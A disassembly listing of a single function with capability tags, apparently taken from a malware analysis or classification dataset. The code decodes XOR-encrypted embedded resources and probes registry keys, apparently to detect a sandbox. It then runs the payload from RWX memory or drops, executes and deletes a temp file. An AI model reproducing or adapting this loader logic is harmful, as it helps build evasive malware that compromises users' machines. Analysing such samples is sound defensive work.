Function at 0x40fecc
Capabilities:
Allocate or change rwx memory
Check if file exists
Delete file
Execute shellcode via indirect call
Get common file path
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x410e30
push 0x405640
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, 0x16a8
call fcn.0040c770
mov eax, dword [0x412050]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x24], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
push 0x402d30
push 0x402d40
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x87c], eax
push 0xa
push 0x370
mov eax, dword [ebp - 0x87c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x8dc], eax
mov ecx, dword [ebp - 0x8dc]
push ecx
mov edx, dword [ebp - 0x87c]
push edx
call dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x8dc]
push eax
mov ecx, dword [ebp - 0x87c]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x50]
mov eax, dword [edx]
mov dword [ebp - 0x8d8], eax
mov ecx, dword [ebp - 0x50]
add ecx, 4
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x78]
sub edx, 4
mov dword [ebp - 0x68], edx
push 0x18
push 4
push 4
push 4
push 4
push 4
push 4
push 4
push 2
push 0x2030
call fcn.0040f210
add esp, 0x28
test eax, eax
je 0x40ff47
mov eax, 3
jmp 0x4108fd
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8e8], eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x8d8]
shl edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
push eax
call fcn.0040309e
add esp, 4
mov dword [ebp - 0x16b4], eax
mov ecx, dword [ebp - 0x16b4]
mov dword [ebp - 0x8e4], ecx
cmp dword [ebp - 0x8e4], 0
jne 0x40ff90
or eax, 0xffffffff
jmp 0x4108fd
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x60], edx
push 0
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x8e4]
push ecx
mov edx, dword [ebp - 0x8e8]
push edx
mov eax, dword [ebp - 0x64]
push eax
call fcn.0040eb80
add esp, 0x14
push 0xa
push 0x3ac
mov ecx, dword [ebp - 0x87c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x8e0], eax
mov edx, dword [ebp - 0x8e0]
push edx
mov eax, dword [ebp - 0x87c]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x8e0]
push ecx
mov edx, dword [ebp - 0x87c]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, 4
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x8cc], 0
mov dword [ebp - 0x8ec], 0
jmp 0x410029
mov ecx, dword [ebp - 0x8ec]
add ecx, 1
mov dword [ebp - 0x8ec], ecx
mov edx, dword [ebp - 0x8ec]
cmp edx, dword [ebp - 0x60]
jae 0x410089
mov eax, dword [ebp - 0x8e4]
add eax, dword [ebp - 0x8ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x5c]
add edx, dword [ebp - 0x8cc]
movsx eax, byte [edx]
xor eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x8e4]
add ecx, dword [ebp - 0x8ec]
mov byte [ecx], al
mov edx, dword [ebp - 0x8cc]
add edx, 1
mov dword [ebp - 0x8cc], edx
mov eax, dword [ebp - 0x8cc]
cmp eax, dword [ebp - 0x74]
jne 0x410087
mov dword [ebp - 0x8cc], 0
jmp 0x41001a
mov ecx, dword [ebp - 0x60]
shr ecx, 1
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x70]
push edx
call fcn.004035c2
add esp, 4
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0x2f], ecx
mov dword [ebp - 0x2b], ecx
mov byte [ebp - 0x27], cl
push 0xa
push 0
mov edx, dword [ebp - 0x6c]
push edx
call fcn.00403930
add esp, 0xc
mov dword [ebp - 0x8f0], 0
jmp 0x4100e3
mov eax, dword [ebp - 0x8f0]
add eax, 1
mov dword [ebp - 0x8f0], eax
mov ecx, dword [ebp - 0x8f0]
cmp ecx, dword [ebp - 0x70]
jge 0x41012d
mov edx, dword [ebp - 0x50]
mov al, byte [edx]
mov byte [ebp - 0x30], al
mov ecx, dword [ebp - 0x50]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x2f], dl
lea eax, [ebp - 0x30]
push eax
call fcn.0040faf0
add esp, 4
mov dword [ebp - 0x8f4], eax
mov ecx, dword [ebp - 0x6c]
add ecx, dword [ebp - 0x8f0]
mov dl, byte [ebp - 0x8f4]
mov byte [ecx], dl
mov eax, dword [ebp - 0x50]
add eax, 2
mov dword [ebp - 0x50], eax
jmp 0x4100d4
mov ecx, dword [ebp - 0x8e4]
mov dword [ebp - 0x16b8], ecx
mov edx, dword [ebp - 0x16b8]
push edx
call fcn.004039aa
add esp, 4
push 0x402d50
push 0x402d64
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 0
je 0x410194
lea eax, [ebp - 0x8d4]
push eax
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x8d0]
test eax, eax
jne 0x410194
mov dword [ebp - 0x8d0], 0
lea edx, [ebp - 0x878]
push edx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x4101be
push 0x402d74
lea eax, [ebp - 0x878]
push eax
call fcn.00403690
add esp, 8
mov dword [ebp - 4], 0
push 0x402d78
call fcn.00403e26
add esp, 4
mov dword [ebp - 0x8fc], eax
mov byte [ebp - 0xd08], 0
mov ecx, dword [ebp - 0x8fc]
push ecx
lea edx, [ebp - 0xd08]
push edx
call fcn.004036a0
add esp, 8
push 0x402d88
lea eax, [ebp - 0xd08]
push eax
call fcn.004036a0
add esp, 8
lea ecx, [ebp - 0xd08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 0xffffffff
jne 0x41022e
mov byte [ebp - 0x901], 0
jmp 0x410235
mov byte [ebp - 0x901], 1
movzx edx, byte [ebp - 0x901]
cmp edx, 1
jne 0x410252
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov dword [ebp - 0x900], 0
mov dword [ebp - 0xd3c], 0x402d94
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4102a1
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xd3c], 0x402da4
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4102e6
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xd3c], 0x402db4
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x41032b
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xd3c], 0x402dcc
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x410370
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xd3c], 0x402de8
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4103b5
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xd3c], 0x402e04
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4103fa
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xd3c], 0x402e18
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x41043f
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x8d0], 1
mov edx, dword [ebp - 0x900]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xfffffffe
jmp 0x410458
cmp dword [ebp - 0x8d0], 0
je 0x41046b
cmp dword [ebp - 0x58], 0
jne 0x4107e8
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040309e
add esp, 4
mov dword [ebp - 0x16bc], eax
mov ecx, dword [ebp - 0x16bc]
mov dword [ebp - 0x1544], ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x1544]
push ecx
call fcn.004030c0
add esp, 0xc
mov edx, dword [ebp - 0x1544]
mov eax, dword [ebp - 0x1544]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1554], eax
mov ecx, dword [ebp - 0x1554]
add ecx, 0xf8
mov dword [ebp - 0x1550], ecx
mov edx, dword [ebp - 0x1554]
mov eax, dword [edx + 0x80]
mov dword [ebp - 0x154c], eax
mov ecx, dword [ebp - 0x1554]
mov dword [ecx + 0x80], 0
mov edx, dword [ebp - 0x1554]
mov dword [edx + 0x84], 0
xor eax, eax
mov word [ebp - 0x1558], ax
jmp 0x410516
mov cx, word [ebp - 0x1558]
add cx, 1
mov word [ebp - 0x1558], cx
movzx edx, word [ebp - 0x1558]
mov eax, dword [ebp - 0x1554]
movzx ecx, word [eax + 6]
cmp edx, ecx
jge 0x4105e1
mov edx, dword [ebp - 0x1550]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x1550]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x154c]
push eax
call fcn.00403080
add esp, 0xc
movzx ecx, al
test ecx, ecx
je 0x41058f
mov edx, dword [ebp - 0x1554]
mov eax, dword [edx + 0x84]
push eax
push 0
mov ecx, dword [ebp - 0x1550]
mov edx, dword [ebp - 0x154c]
sub edx, dword [ecx + 0xc]
mov eax, dword [ebp - 0x1550]
add edx, dword [eax + 0x14]
add edx, dword [ebp - 0x1544]
push edx
call fcn.00403930
add esp, 0xc
push 8
mov ecx, dword [ebp - 0x1550]
push ecx
push 0x402e38
call fcn.00403425
add esp, 0xc
test eax, eax
je 0x4105cd
mov edx, dword [ebp - 0x1550]
mov eax, dword [edx + 0x10]
push eax
push 0
mov ecx, dword [ebp - 0x1550]
mov edx, dword [ebp - 0x1544]
add edx, dword [ecx + 0x14]
push edx
call fcn.00403930
add esp, 0xc
mov eax, dword [ebp - 0x1550]
add eax, 0x28
mov dword [ebp - 0x1550], eax
jmp 0x410504
lea ecx, [ebp - 0x878]
push ecx
lea edx, [ebp - 0x1540]
push edx
call fcn.00403690
add esp, 8
push 0x402e40
lea eax, [ebp - 0x1540]
push eax
call fcn.004036a0
add esp, 8
push 0x402e44
lea ecx, [ebp - 0x1540]
push ecx
call fcn.00403911
add esp, 8
mov dword [ebp - 0x1548], eax
mov edx, dword [ebp - 0x1548]
push edx
mov eax, dword [ebp - 0x70]
push eax
push 1
mov ecx, dword [ebp - 0x1544]
push ecx
call fcn.00403d1d
add esp, 0x10
mov edx, dword [ebp - 0x1548]
push edx
call fcn.00403f20
add esp, 4
mov dword [ebp - 4], 1
lea eax, [ebp - 0x15b4]
push eax
lea ecx, [ebp - 0x1698]
push ecx
lea edx, [ebp - 0x1570]
push edx
lea eax, [ebp - 0x15b0]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call fcn.0040f680
add esp, 0x18
movzx eax, al
test eax, eax
je 0x4107b3
mov ecx, dword [ebp - 0x15b4]
push ecx
lea edx, [ebp - 0x1698]
push edx
lea eax, [ebp - 0x1570]
push eax
lea ecx, [ebp - 0x15b0]
push ecx
call fcn.0040f590
add esp, 0x10
mov dword [ebp - 0x16a4], eax
push 0x402e48
push 0x402e58
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x16a0], eax
push 0x40
push 0x1000
mov edx, dword [ebp - 0x16a4]
push edx
push 0
call dword [ebp - 0x16a0]
mov dword [ebp - 0x169c], eax
cmp dword [ebp - 0x169c], 0
je 0x4107b3
mov eax, dword [ebp - 0x169c]
push eax
mov ecx, dword [ebp - 0x15b4]
push ecx
lea edx, [ebp - 0x1698]
push edx
lea eax, [ebp - 0x1570]
push eax
lea ecx, [ebp - 0x15b0]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x6c]
push eax
call fcn.0040fcc0
add esp, 0x1c
lea ecx, [ebp - 0x1540]
mov dword [ebp - 0x16ac], ecx
call fcn.0040f2e0
mov dword [ebp - 0x16a8], eax
push 0x402b81
call fcn.00403788
add esp, 4
mov edx, dword [ebp - 0x16ac]
push edx
mov eax, dword [ebp - 0x16a4]
push eax
mov ecx, dword [ebp - 0x169c]
push ecx
mov edx, dword [ebp - 0x15b4]
push edx
lea eax, [ebp - 0x1698]
push eax
lea ecx, [ebp - 0x1570]
push ecx
lea edx, [ebp - 0x15b0]
push edx
call fcn.0040f7b0
add esp, 0x1c
push 0x402b82
call fcn.00403788
add esp, 4
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1540]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x16c0], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x16c0]
jmp 0x4108fd
mov ecx, dword [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x878]
push edx
call fcn.004036a0
add esp, 8
push 0x402e68
lea eax, [ebp - 0x878]
push eax
call fcn.004036a0
add esp, 8
push 0x402e70
lea ecx, [ebp - 0x878]
push ecx
call fcn.00403911
add esp, 8
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x16b0], 0
jmp 0x410841
mov edx, dword [ebp - 0x16b0]
add edx, 1
mov dword [ebp - 0x16b0], edx
mov eax, dword [ebp - 0x16b0]
cmp eax, dword [ebp - 0x70]
jge 0x410868
mov ecx, dword [ebp - 0x4c]
push ecx
push 1
push 1
mov edx, dword [ebp - 0x6c]
add edx, dword [ebp - 0x16b0]
push edx
call fcn.00403d1d
add esp, 0x10
jmp 0x410832
mov eax, dword [ebp - 0x4c]
push eax
call fcn.00403f20
add esp, 4
mov dword [ebp - 0x8c8], 0
push 0x40
push 0
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00403930
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0x8c8]
push edx
call fcn.00403930
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.00403930
add esp, 0xc
mov dword [ebp - 0x8c8], 0x44
push 0x402e74
push 0x402e84
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x8c8]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x878]
push eax
call dword [ebp - 0x54]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.004030a9
mov esp, ebp
pop ebp
ret 0x10